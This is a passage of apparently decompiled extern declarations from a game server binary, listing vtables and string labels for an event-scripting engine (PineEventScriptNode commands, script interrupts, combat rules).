*PineEventScriptNode::ShineBroadcast::_vftable_)(int tr); // weak extern char aBroadcast[]; // idb extern int (__stdcall *PineEventScriptNode::ShineLinkTo::_vftable_)(int tr); // weak extern char aLinkto_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWhoClickMe::_vftable_)(int tr); // weak extern char aWhoclickme[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWhoKillMe::_vftable_)(int tr); // weak extern char aWhokillme[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemDrop::_vftable_)(int tr); // weak extern char aItemdrop[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInvenSearch::_vftable_)(int tr); // weak extern char aInvensearch[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemCreate::_vftable_)(int tr); // weak extern char aItemcreate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemErase::_vftable_)(int tr); // weak extern char aItemerase[]; // idb extern int (__stdcall *PineEventScriptNode::ShineFindHandle::_vftable_)(int tr); // weak extern char aFindhandle[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAbstatSet::_vftable_)(int tr); // weak extern char aAbstateset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAbstatReset::_vftable_)(int tr); // weak extern char aAbstatereset_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSuicide::_vftable_)(int tr); // weak extern char aSuicide[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRun::_vftable_)(int tr); // weak extern char aRun[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWalk::_vftable_)(int tr); // weak extern char aWalk[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMapLight::_vftable_)(int tr); // weak extern char aMaplight[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMapFog::_vftable_)(int tr); // weak extern char aMapfog[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEffectObject::_vftable_)(int tr); // weak extern char aEffectobj[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEffectLocate::_vftable_)(int tr); // weak extern char aEffectloc[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAggro::_vftable_)(int tr); // weak extern char aAggro[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobWeaponRate::_vftable_)(int tr); // weak extern char aMobweaponrate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobDetectRange::_vftable_)(int tr); // weak extern char aMobdetectrange[]; // idb extern int (__stdcall *PineEventScriptNode::ShineHeal::_vftable_)(int tr); // weak extern char aHeal[]; // idb extern int (__stdcall *PineEventScriptNode::ShineAnimate::_vftable_)(int tr); // weak extern char aAnimate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDuplicate::_vftable_)(int tr); // weak extern char aDuplicate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWaitIdle::_vftable_)(int tr); // weak extern char aWaitidle[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDeathCountClear::_vftable_)(int tr); // weak extern char aDeathcountclea[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemAttrSet::_vftable_)(int tr); // weak extern char aItemattrset[]; // idb extern int (__stdcall *PineEventScriptNode::ShineScinarioCode::_vftable_)(int tr); // weak extern char aScinariocode[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBattleStart::_vftable_)(int tr); // weak extern char aBattlestart[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBattleStop::_vftable_)(int tr); // weak extern char aBattlestop[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSendKQResult::_vftable_)(int tr); // weak extern char aSendquestresul[]; // idb extern int (__stdcall *PineEventScriptNode::ShineInvidualReward::_vftable_)(int tr); // weak extern char aInvidualreward[]; // idb extern int (__stdcall *PineEventScriptNode::ShineReturnValue::_vftable_)(int tr); // weak extern char aReturnvalue[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSubLayerShift::_vftable_)(int tr); // weak extern char aSublayershift[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTeleport::_vftable_)(int tr); // weak extern char aTeleport[]; // idb extern int (__stdcall *PineEventScriptNode::ShineItemOwner::_vftable_)(int tr); // weak extern char aItemowner[]; // idb extern int (__stdcall *PineEventScriptNode::ShineMobAttribute::_vftable_)(int tr); // weak extern char aMobattr[]; // idb extern int (__stdcall *PineEventScriptNode::ShineObjectCollect::_vftable_)(int tr); // weak extern char aCollect[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEndOfKingdomQuest::_vftable_)(int tr); // weak extern char aEndofkq_1[]; // idb extern int (__stdcall *PineEventScriptNode::ShineEndOfGuildTournament::_vftable_)(int tr); // weak extern char aEndofgt[]; // idb extern int (__stdcall *PineEventScriptNode::ShineGuildTorunamentResult::_vftable_)(int tr); // weak extern char aGtresult[]; // idb extern int (__stdcall *PineEventScriptNode::ShineCostumeCreate::_vftable_)(int tr); // weak extern char aCostumecreate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineCostumeTakeOff::_vftable_)(int tr); // weak extern char aCostumetakeoff[]; // idb extern int (__stdcall *PineEventScriptNode::ShineWeddingComplete::_vftable_)(int tr); // weak extern char aWeddingcomplet[]; // idb extern int (__stdcall *PineEventScriptNode::ShinePlayerWalk::_vftable_)(int tr); // weak extern char aPlayerwork[]; // idb extern int (__stdcall *PineEventScriptNode::ShineFindPlayer::_vftable_)(int tr); // weak extern char aFindplayer[]; // idb extern int (__stdcall *PineEventScriptNode::ShineTeleportAll::_vftable_)(int tr); // weak extern char aTeleportall[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBriefEffect::_vftable_)(int tr); // weak extern char aBriefeffect[]; // idb extern int (__stdcall *PineEventScriptNode::ShineBanFromArea::_vftable_)(int tr); // weak extern char aBanfromarea[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegesteFlag::_vftable_)(int tr); // weak extern char aRegisteflag[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRegesteGate::_vftable_)(int tr); // weak extern char aRegistegate[]; // idb extern int (__stdcall *PineEventScriptNode::ShineDiceGameStart::_vftable_)(int tr); // weak extern char aDicegamestart[]; // idb extern int (__stdcall *PineEventScriptNode::ShineRevival::_vftable_)(int tr); // weak extern char aRevival[]; // idb extern int (__stdcall *PineEventScriptNode::ShineSpawn::_vftable_)(int tr); // weak extern char aSpawn[]; // idb extern int (__stdcall *PineEventScriptNode::ShineHPSet::_vftable_)(int tr); // weak extern char aHpset[]; // idb extern int (__stdcall *AxialListKQReward::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListKQEnd::_vftable_)(AxialListProtocolSend *this, #331 *, #331 *, int distancesquar); // weak extern int (__stdcall *AxialListLinkTo::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListLinkToByObserver::_vftable_)(int, int, int distancesquar); // weak extern char a___printf[]; // idb extern char aPineeventsc_76[]; // idb extern int (__stdcall *AxialListMobVanish::_vftable_)(int, #331 *obj, int distancesquar); // weak extern int (__stdcall *AxialListItemErase4All::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListMobStateSet::_vftable_)(AxialListMobStateSet *this, int, #331 *obj, int distancesquar); // weak extern int (__thiscall *AxialListPlayerStateSet::_vftable_)(AxialListPlayerStateSet *this, int, #331 *obj, int distancesquar); // weak extern int (__stdcall *AxialListTeleport::_vftable_[6])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListTeleportAnywhere::_vftable_[5])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListCount2::_vftable_[4])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListTeleportSplit::_vftable_[3])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListFindItemOwner::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListObjectCollector::_vftable_)(int, int, int distancesquar); // weak extern int (__thiscall *AxialListGTEnd::_vftable_)(AxialListProtocolSend *this, #331 *, #331 *, int distancesquar); // weak extern int (__stdcall *AxialListBanArea::_vftable_[2])(int, int, int distancesquar); // weak extern int (__stdcall *AxialListRevival::_vftable_)(int, int, int distancesquar); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern int (__stdcall *PineEventScriptNode::ScriptBase::_vftable_)(int tr); // weak extern char aMovieTheater_2[]; // idb extern char aMovieTheater_7[]; // idb extern int (__stdcall *PineEventScriptNode::RegisterGTPortal::_vftable_)(int tr); // weak extern char aRegistergtport[]; // idb extern int (__stdcall *PineEventScriptNode::SaveLinkto::_vftable_)(int tr); // weak extern char aSavelinkto[]; // idb extern int (__stdcall *PineEventScriptNode::ClearSaveLinkto::_vftable_)(int tr); // weak extern char aClearsavelin_1[]; // idb extern int (__stdcall *PineEventScriptNode::NPCChatNoFacecut::_vftable_)(int tr); // weak extern char aNpcchatnofacec[]; // idb extern int (__stdcall *PineEventScriptNode::ScinarioCodeParty::_vftable_)(int tr); // weak extern MobTacticElement::MobActionArgument unk_5B31F8; // idb extern _UNKNOWN PineEventScriptNode::HasAbstate::_vftable_; // weak extern MobTacticElement::MobActionArgument unk_5B3224; // idb extern _UNKNOWN PineEventScriptNode::BroadcastCode::_vftable_; // weak extern MobTacticElement::MobActionArgument unk_5B3248; // idb extern _UNKNOWN PineEventScriptNode::GTRegisterNPC::_vftable_; // weak extern char unk_5B3270[14]; // idb extern _UNKNOWN PineEventScriptNode::GTMobRegenKey::_vftable_; // weak extern char unk_5B3298[14]; // idb extern char unk_5B32A8[]; // idb extern char unk_5B32D8[]; // idb extern MobTacticElement::MobActionArgument aStatepermillag[]; // idb extern char aPineeventsc_14[]; // idb extern MobTacticElement::MobActionArgument aUnsetScriptFil[]; // idb extern char aPineeventsc_15[62]; // idb extern MobTacticElement::MobActionArgument unk_5B33A4; // idb extern char unk_5B33B8[]; // idb extern char unk_5B33E8[61]; // idb extern MobTacticElement::MobActionArgument aShinetimelimit[]; // idb extern char aPineeventsc_33[]; // idb extern char aPineeventsc_34[63]; // idb extern char aPineeventsc_35[57]; // idb extern char aPineeventsc_36[59]; // weak extern MobTacticElement::MobActionArgument aInterruptset[]; // idb extern char aPineeventsc_37[]; // idb extern MobTacticElement::MobActionArgument aShineinterrupt[]; // idb extern char aPineeventsc_38[]; // idb extern MobTacticElement::MobActionArgument aShinewaitinter[]; // idb extern char aPineeventsc_39[]; // idb extern char aPineeventsc_40[]; // idb extern char aPineeventsc_41[]; // idb extern char aPineeventsc_43[]; // idb extern MobTacticElement::MobActionArgument aShinechange2mo[]; // idb extern char asc_5B36C8[]; // idb extern MobTacticElement::MobActionArgument aShinechange2do[]; // idb extern char asc_5B370C[]; // idb extern MobTacticElement::MobActionArgument aShinechange2np[]; // idb extern char asc_5B3750[]; // idb extern char aPineeventsc_13[67]; // idb extern char aPineeventsc_12[56]; // idb extern char asc_5B3800[70]; // weak extern char aPineeventsc_11[63]; // idb extern MobTacticElement::MobActionArgument aShineexchange2[]; // idb extern char asc_5B38A0[]; // idb extern char aPineeventsc_16[61]; // idb extern MobTacticElement::MobActionArgument aShinedooropen[]; // idb extern char asc_5B3924[]; // idb extern MobTacticElement::MobActionArgument aShinedoorclose[]; // idb extern char asc_5B3964[]; // idb extern char aAxiallistmobva[]; // idb extern char aAxiallistmob_0[]; // idb extern char aPineeventsc_17[75]; // idb extern char asc_5B3A28[65]; // weak extern MobTacticElement::MobActionArgument aShinevanish[]; // idb extern char asc_5B3A78[]; // idb extern char aPineeventsc_19[61]; // idb extern char aPineeventsc_18[61]; // idb extern char asc_5B3B28[57]; // weak extern char asc_5B3B64[55]; // weak extern MobTacticElement::MobActionArgument aShineregengrou[]; // idb extern char asc_5B3BB0[]; // idb extern MobTacticElement::MobActionArgument aShinewaituserl[]; // idb extern char asc_5B3BF4[]; // idb extern MobTacticElement::MobActionArgument aError[]; // idb extern char asc_5B3C34[55]; // idb extern MobTacticElement::MobActionArgument aMilliseconds[]; // idb extern MobTacticElement::MobActionArgument aSeconds[]; // idb extern char aMinute[8]; // weak extern char aHours[7]; // weak extern char asc_5B3C98[50]; // idb extern MobTacticElement::MobActionArgument unk_5B3CCC; // idb extern char unk_5B3CDC[]; // idb extern char aPineeventsc_42[54]; // idb extern MobTacticElement::MobActionArgument aShinenpcchat[]; // idb extern char asc_5B3D50[]; // idb extern char aPineeventsc_44[55]; // idb extern MobTacticElement::MobActionArgument aShinenpcshout[]; // idb extern char asc_5B3DC8[]; // idb extern char aPineeventsc_78[52]; // idb extern char aPineeventsc_77[52]; // idb extern MobTacticElement::MobActionArgument aShinesomeonesh[]; // idb extern char asc_5B3E70[]; // idb extern char aPineeventsc_80[57]; // idb extern char aPineeventsc_79[54]; // idb extern MobTacticElement::MobActionArgument aShinesummonmob[]; // idb extern char asc_5B3F28[]; // idb extern MobTacticElement::MobActionArgument aShinequestresu[]; // idb extern char asc_5B3F6C[]; // idb extern char aPineeventsc_81[60]; // idb extern MobTacticElement::MobActionArgument aShinereward[]; // idb extern char asc_5B3FE4[]; // idb extern char aPineeventsc_83[69]; // idb extern char aPineeventsc_82[58]; // idb extern MobTacticElement::MobActionArgument aShinebroadcast[]; // idb extern char asc_5B40A4[]; // idb extern char aPineeventsc_87[54]; // idb extern char aPineeventsc_86[54]; // idb extern char aPineeventsc_85[57]; // idb extern char aPineeventsc_84[57]; // idb extern MobTacticElement::MobActionArgument aShinelinkto[]; // idb extern char asc_5B41C8[]; // idb extern char aPineeventsc_91[56]; // idb extern char asc_5B422C[58]; // weak extern char aPineeventsc_90[61]; // idb extern char aPineeventsc_89[54]; // idb extern char aPineeventsc_88[59]; // idb extern MobTacticElement::MobActionArgument aShineitemdrop[]; // idb extern char asc_5B432C[]; // idb extern char aPineeventsc_22[55]; // idb extern char aPineeventsc_21[58]; // idb extern MobTacticElement::MobActionArgument aShinewhoclickm[]; // idb extern char asc_5B43DC[]; // idb extern char aAxiallistiteme[]; // idb extern char aPineeventsc_92[54]; // idb extern char aPineeventsc_20[55]; // idb extern MobTacticElement::MobActionArgument aShineitemerase[]; // idb extern char asc_5B44B4[]; // idb extern char aPineeventsc_93[56]; // idb extern MobTacticElement::MobActionArgument aShineitemcreat[]; // idb extern char asc_5B4530[]; // idb extern char aPineeventsc_95[62]; // idb extern char aPineeventsc_94[57]; // idb extern char aPineeventsc_24[59]; // idb extern char aPineeventsc_23[59]; // idb extern MobTacticElement::MobActionArgument aShineinvensear[]; // idb extern char asc_5B4668[]; // idb extern char aPineeventsc_97[56]; // idb extern char aPineeventsc_96[55]; // idb extern MobTacticElement::MobActionArgument aShinefindhandl[]; // idb extern char asc_5B4718[]; // idb extern char asc_5B4748[69]; // idb extern char aPineeventsc_98[56]; // idb extern MobTacticElement::MobActionArgument aShineabstatset[]; // idb extern char asc_5B47D8[]; // idb extern char asc_5B4808[58]; // idb extern MobTacticElement::MobActionArgument aShineabstatres[]; // idb extern char asc_5B4858[]; // idb extern char aAxiallistmob_1[]; // idb extern char asc_5B48DC[60]; // idb extern MobTacticElement::MobActionArgument aShinesuicide[]; // idb extern char asc_5B4928[]; // idb extern char asc_5B4954[49]; // idb extern char asc_5B4988[49]; // idb extern MobTacticElement::MobActionArgument aShinerun[]; // idb extern char asc_5B49C8[]; // idb extern MobTacticElement::MobActionArgument aShinewalk[]; // idb extern char asc_5B49FC[]; // idb extern char asc_5B4A24[58]; // idb extern MobTacticElement::MobActionArgument aShinemaplight[]; // idb extern char asc_5B4A70[]; // idb extern char asc_5B4A9C[56]; // idb extern MobTacticElement::MobActionArgument aShinemapfog[]; // idb extern char asc_5B4AE0[]; // idb extern char asc_5B4B10[66]; // idb extern char asc_5B4B54[60]; // idb extern char asc_5B4B90[60]; // weak extern MobTacticElement::MobActionArgument aShineeffectobj[]; // idb extern char asc_5B4BE0[]; // idb extern char asc_5B4C10[66]; // idb extern char asc_5B4C54[59]; // idb extern MobTacticElement::MobActionArgument aShineeffectloc[]; // idb extern char asc_5B4CA4[]; // idb extern char asc_5B4CD4[52]; // idb extern char asc_5B4D08[53]; // weak extern MobTacticElement::MobActionArgument aShineaggro[]; // idb extern char asc_5B4D4C[]; // idb extern MobTacticElement::MobActionArgument aShinemobdetect[]; // idb extern char asc_5B4D8C[]; // idb extern MobTacticElement::MobActionArgument aHp[]; // idb extern MobTacticElement::MobActionArgument aShineanimate[]; // idb extern char asc_5B4E0C[]; // idb extern MobTacticElement::MobActionArgument aShineduplicate[]; // idb extern char asc_5B4E48[]; // idb extern MobTacticElement::MobActionArgument aShinewaitidle[]; // idb extern char asc_5B4E88[]; // idb extern MobTacticElement::MobActionArgument aShinedeathcoun[]; // idb extern char asc_5B4ECC[]; // idb extern char asc_5B4F00[62]; // idb extern char asc_5B4F40[57]; // idb extern MobTacticElement::MobActionArgument aShineitemattrs[]; // idb extern char asc_5B4F90[]; // idb extern char aFail2[7]; // idb extern char aFail1[7]; // idb extern char asc_5B4FD4[58]; // idb extern char aFail0[7]; // idb extern char aShinescinarioc[19]; // idb extern MobTacticElement::MobActionArgument aShinescinari_0[]; // idb extern char asc_5B5040[]; // idb extern char asc_5B5070[62]; // idb extern char asc_5B50B0[57]; // idb extern char asc_5B50EC[59]; // idb extern char asc_5B5128[64]; // idb extern MobTacticElement::MobActionArgument aShinebattlesta[]; // idb extern char asc_5B517C[]; // idb extern char asc_5B51AC[61]; // idb extern MobTacticElement::MobActionArgument stru_5B51EC; // idb extern char asc_5B552C[]; // idb extern char asc_5B5564[]; // idb extern char asc_5B5594[]; // idb extern MobTacticElement::MobActionArgument aShinechatwindo[]; // idb extern char asc_5B55E0[]; // idb extern MobTacticElement::MobActionArgument aShinechatwin_0[]; // idb extern char asc_5B5628[]; // idb extern MobTacticElement::MobActionArgument aShinemobattrib[]; // idb extern char asc_5B5674[]; // idb extern char aAxiallistobj_0[]; // idb extern char aAxiallistobj_3[]; // idb extern char aPineeventsc_25[75]; // idb extern MobTacticElement::MobActionArgument aShineendofking[]; // idb extern char asc_5B575C[]; // idb extern char asc_5B5794[]; // idb extern MobTacticElement::MobActionArgument aShineguildtoru[]; // idb extern char asc_5B57E8[]; // idb extern char aPineeventsc_26[59]; // idb extern char asc_5B5860[59]; // weak extern MobTacticElement::MobActionArgument aShinecostumecr[]; // idb extern char asc_5B58B0[]; // idb extern char aPineeventsc_27[60]; // idb extern char aPineeventsc_29[60]; // idb extern MobTacticElement::MobActionArgument aShinecostumeta[]; // idb extern char asc_5B5970[]; // idb extern char aPineeventsc_28[69]; // idb extern MobTacticElement::MobActionArgument aShineweddingco[]; // idb extern char asc_5B5A08[]; // idb extern char asc_5B5A3C[]; // idb extern char asc_5B5A6C[]; // idb extern char asc_5B5AA4[]; // idb extern char aAxiallistbanar[]; // idb extern char aAxiallistreviv[]; // idb extern char asc_5B5B0C[]; // idb extern char aPineeventsc_31[54]; // idb extern char aPineeventsc_30[57]; // idb extern MobTacticElement::MobActionArgument aShinewhokillme[]; // idb extern char asc_5B5BBC[]; // idb extern char aClearsavelinkt[]; // idb extern char aPineeventsc_32[63]; // idb extern char asc_5B5F90[]; // idb extern char asc_5B5FBC[]; // idb extern MobTacticElement::MobActionArgument aInterruptcle_0[]; // idb extern char asc_5B6000[]; // idb extern char asc_5B6038[]; // idb extern char asc_5B607C[]; // idb extern char aPineeventscr_8[59]; // idb extern MobTacticElement::MobActionArgument aShinemobregen[]; // idb extern char asc_5B6100[]; // idb extern char aPineeventscr_9[60]; // idb extern MobTacticElement::MobActionArgument aShinedoorbuild[]; // idb extern char asc_5B617C[]; // idb extern char aPineeventsc_10[59]; // idb extern MobTacticElement::MobActionArgument stru_5B61E8; // idb extern char pkErrorMsg[]; // idb extern char aGtregisternpcS[]; // idb extern char aRegistergtpo_1[]; // idb extern char aSavelinktoSa_s[]; // idb extern char asc_5B6570[]; // idb extern char asc_5B65C0[]; // idb extern char asc_5B6610[]; // idb extern char asc_5B665C[]; // idb extern char aShineregestegu[]; // idb extern char asc_5B66D0[]; // idb extern char asc_5B6720[]; // idb extern char asc_5B675C[]; // idb extern MobTacticElement::MobActionArgument stru_5B678C; // idb extern char aGamedbsessionZ[]; // idb extern char aGamelogsessi_4[]; // idb extern char aGamelogsessi_0[]; // idb extern char aWorldmanage_84[]; // idb extern char aWorldmanage_83[]; // idb extern char aClientsessio_1[]; // idb extern char aClientsessionZ[]; // idb extern char aRecallpoint[]; // idb extern char aRecallpointtab[]; // idb extern char aErrorInReadRec[]; // idb extern char a__9dataShin_66[]; // idb extern char a__9dataShin_52[]; // idb extern char asc_5B6C70[]; // idb extern char asc_5B6CC0[]; // idb extern char aGamedbsessi_45[]; // idb extern char asc_5B6D38[]; // idb extern char asc_5B6D80[]; // idb extern int (__stdcall *EngNormAtt::_vftable_[4])(int, int, int ef); // weak extern int (__stdcall *EngSklAtt::_vftable_[4])(int, int, int ef); // weak extern char aRtn[]; // idb extern char aAbrate[]; // idb extern char aTotalac[]; // idb extern char aTotalcon[]; // idb extern char aRulesofengagem[]; // idb extern char aRst[]; // idb extern char aItemattack[]; // idb extern char aMasteryrate[]; // idb extern char aMasteryplus[]; // idb extern char aWpt[]; // idb extern char aItem[]; // idb extern char aPurechar[]; // idb extern char aAbstate[]; // idb extern char aUpgrade[]; // idb extern char aStrtotal[]; // idb extern char aRulesofengag_1[]; // idb extern char aRulesofenga_15[]; // idb extern double (__stdcall *RulesOfEngagement::_vftable_[4])(int argument); // weak extern char asc_5B6FD4[]; // idb extern char aAfterFreestatb[]; // idb extern char aShieldFail[]; // idb extern char aShieldSuccess[]; // idb extern char aRulesofengag_4[]; // idb extern char asc_5B7034[]; // idb extern double (__stdcall *RulesOfEngagementNormalPY::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementNormalMA::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementPhisycalSkill::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementMagicalSkill::_vftable_)(int argument); // weak extern double (__stdcall *RulesOfEngagementAlwaysHit::_vftable_[4])(int argument); // weak extern double (__stdcall *RulesOfEngagementAlwaysCritical::_vftable_[2])(int argument); // weak extern double (__stdcall *RuleOfEngagementHealAttack::_vftable_[4])(int argument); // weak extern char aEngsklattEna_a[]; // idb extern char aDamage[]; // idb extern char aAttackpowerLev[]; // idb extern char aLevelAtt[]; // idb extern char aDefendpower[]; // idb extern char aAttackpower[]; // idb extern char aRulesofenga_20[]; // idb extern char aRulesofenga_21[]; // idb extern char aRulesofenga_22[]; // idb extern char a850[]; // idb extern char aRulesofenga_26[]; // idb extern char aRulesofengag_8[]; // idb extern char aRulesofenga_27[]; // idb extern char aRulesofenga_25[]; // idb extern char aRulesofenga_18[]; // idb extern char aRulesofenga_11[]; // idb extern char aRulesofengag_6[]; // idb extern char aRulesofengag_2[]; // idb extern char aRulesofenga_12[]; // idb extern char aRulesofengag_3[]; // idb extern char aAsSkill[]; // idb extern char aAsNormal[12]; // weak extern char asc_5B7448[]; // idb extern char asc_5B744C[]; // idb extern char aRulesofenga_14[]; // idb extern char aRulesofenga_23[]; // idb extern char aRulesofengag_0[]; // idb extern char aRulesofengag_5[]; // idb extern char aRulesofenga_13[]; // idb extern char aRulesofengag_7[]; // idb extern char aRulesofenga_19[]; // idb extern char aRulesofengag_9[]; // idb extern char aRulesofenga_17[]; // idb extern char aRulesofenga_28[]; // idb extern char asc_5B7628[]; // idb extern char aShineobject_35[]; // idb extern char aShineobject_34[]; // idb extern char aShineobject_33[90]; // weak extern char aShineobject_32[]; // idb extern char asc_5B77A8[]; // idb extern char aRulesofenga_16[]; // idb extern char aRulesofenga_24[]; // idb extern char dataShine::a[]; // idb extern char aScenariobook_3[]; // idb extern char aScenariobook_7[]; // idb extern char aScenariobook_1[]; // idb extern char aScenariobooksh[]; // idb extern char aScenariobook_5[]; // idb extern int (__stdcall *List::_vftable_[3])(__int16 hnd); // weak extern char aMovieTheater_5[]; // idb extern char aMovieTimelimit[]; // idb extern char aMovieTimelim_2[]; // idb extern char aMovieTimelim_0[]; // idb extern char aMovieTheater_3[]; // idb extern char aMovieTheater_1[]; // idb extern char name[]; // idb extern char aMovieTheater_8[]; // idb extern char aScenariobook_4[]; // idb extern char aScenariobook_8[]; // idb extern char aMovieCinemacom[]; // idb extern char aScriptname[]; // idb extern char aPinescript[]; // idb extern char aScenariobook_9[]; // idb extern char aMovieCinemac_7[]; // idb extern char aMovieCinemac_2[]; // idb extern char aScriptError[]; // idb extern char aMovieCinemac_4[]; // idb extern char aMovieCinemac_1[]; // idb extern char aMovieCinemac_6[]; // idb extern char aMovieCinemac_3[]; // idb extern char aMovieCinemac_5[]; // idb extern int (*ScriptInterrupt::ScriptInterruptBase::_vftable_)(); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAreaEntry::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAreaLeave::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickHandle::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptNPCClickAny::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptObjectDeadHandle::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptObjectDeadIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptMobEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPlayerEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptGuildEleminate::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptInterval::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPLow::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptTimeOut::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptKillEnemy::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptTargetChange::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPlayerDead::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptPickUpItemIndex::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptAdmin::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPFull::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptHPUpper::_vftable_)(int arg, int eventblock, int argument, int timelimit, int lst, __int16 hnd, int center); // weak extern int (__stdcall *ScriptInterrupt::ScriptInterruptManager::_vftable_[3])(__int16 hnd); // weak extern char aScriptinter_23[]; // idb extern char aScriptinterrup[]; // idb extern char aScriptinter_10[]; // idb extern char aScriptinter_31[]; // idb extern char aScriptinter_13[]; // idb extern char aScriptinter_45[]; // idb extern char aScriptinter_20[]; // idb extern char aScriptinter_29[]; // idb extern char aScriptinter_12[]; // idb extern char aScriptinter_14[]; // idb extern char aScriptinterr_8[]; // idb extern char aScriptinter_35[]; // idb extern char aScriptinter_26[]; // idb extern char aScriptinterr_9[]; // idb extern char aScriptinter_25[]; // idb extern char aScriptinter_36[]; // idb extern char aScriptinter_32[]; // idb extern char aScriptinterr_1[]; // idb extern char aScriptinterr_3[]; // idb extern char aScriptinter_22[]; // idb extern char aScriptinter_44[]; // idb extern char aScriptinter_19[]; // idb extern char aScriptinter_15[]; // idb extern char aScriptinter_16[]; // idb extern char aScriptinterr_7[]; // idb extern char aScriptinter_39[]; // idb extern char aScriptinter_40[]; // idb extern char aScriptinter_27[]; // idb extern char aScriptinterr_2[]; // idb extern char aScriptinterr_4[]; // idb extern char aScriptinterr_5[]; // idb extern char aScriptinter_34[]; // idb extern char aScriptinter_21[]; // idb extern char aScriptinter_17[]; // idb extern char aScriptinter_28[]; // idb extern char aScriptinterr_0[]; // idb extern char aScriptinter_41[]; // idb extern char 